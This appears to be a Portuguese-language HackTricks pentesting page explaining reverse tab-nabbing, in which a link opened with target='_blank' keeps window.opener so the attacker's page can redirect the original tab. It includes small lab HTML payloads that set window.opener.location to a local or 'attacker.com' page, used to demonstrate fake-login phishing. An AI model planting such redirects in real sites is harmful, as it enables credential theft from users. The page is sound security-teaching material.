hacktricks/pentesting-web/reverse-tab-nabbing.md
2023-06-06 18:56:34 +00:00

7.5 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Descrição

Em uma situação em que um atacante pode controlar o argumento href de uma tag <a com o atributo target="_blank" rel="opener" que será clicada por uma vítima, o atacante aponta este link para um site sob seu controle (um site malicioso). Então, uma vez que a vítima clica no link e acessa o site do atacante, este site malicioso será capaz de controlar a página original via o objeto javascript window.opener.
Se a página não tiver rel="opener" mas contiver target="_blank" e também não tiver rel="noopener" ela também pode ser vulnerável.

Uma maneira comum de abusar desse comportamento seria alterar a localização do site original via window.opener.location = https://attacker.com/victim.html para um site controlado pelo atacante que parece com o original, para que possa imitar o formulário de login do site original e solicitar credenciais ao usuário.

No entanto, observe que, como o atacante agora pode controlar o objeto de janela do site original, ele pode abusar dele de outras maneiras para realizar ataques mais furtivos (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)

Visão geral

Link entre páginas pai e filho quando o atributo de prevenção não é usado:

Link entre páginas pai e filho quando o atributo de prevenção é usado:

Exemplos

Crie as seguintes páginas em uma pasta e execute um servidor web com python3 -m http.server
Em seguida, acessar http://127.0.0.1:8000/vulnerable.html, clique no link e observe como a URL do site original muda.

<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>

{% endcode %}

{% code title="malicious.html" %}

<a href="https://example.com" target="_blank" rel="noopener noreferrer" onclick="window.opener.location='https://attacker.com'">Click me!</a>

{% endcode %}

Este é um exemplo de código HTML malicioso que pode ser usado para realizar um ataque de reverse tab-nabbing. Quando o usuário clica no link, ele abre uma nova aba com o site de destino, mas a aba original é redirecionada para o site do atacante. Isso pode ser usado para roubar informações confidenciais do usuário ou realizar outras atividades maliciosas. É importante estar ciente desse tipo de ataque e tomar medidas para se proteger, como evitar clicar em links suspeitos e manter o software de segurança atualizado.

<!DOCTYPE html>
<html>
 <body>
  <script>
  window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
  </script>
 </body>
</html>

{% code title="malicious_redir.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

Propriedades acessíveis

O site malicioso só pode acessar as seguintes propriedades do objeto de referência javascript opener (que é, na verdade, uma referência a uma instância da classe javascript window) em caso de acesso de origem cruzada (entre domínios):

  • opener.closed: Retorna um valor booleano indicando se uma janela foi fechada ou não.
  • opener.frames: Retorna todos os elementos iframe na janela atual.
  • opener.length: Retorna o número de elementos iframe na janela atual.
  • opener.opener: Retorna uma referência à janela que criou a janela.
  • opener.parent: Retorna a janela pai da janela atual.
  • opener.self: Retorna a janela atual.
  • opener.top: Retorna a janela do navegador mais acima.

Se os domínios forem os mesmos, o site malicioso pode acessar todas as propriedades expostas pelo objeto de referência javascript window.

Prevenção

As informações de prevenção estão documentadas na HTML5 Cheat Sheet.

Referências

{% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥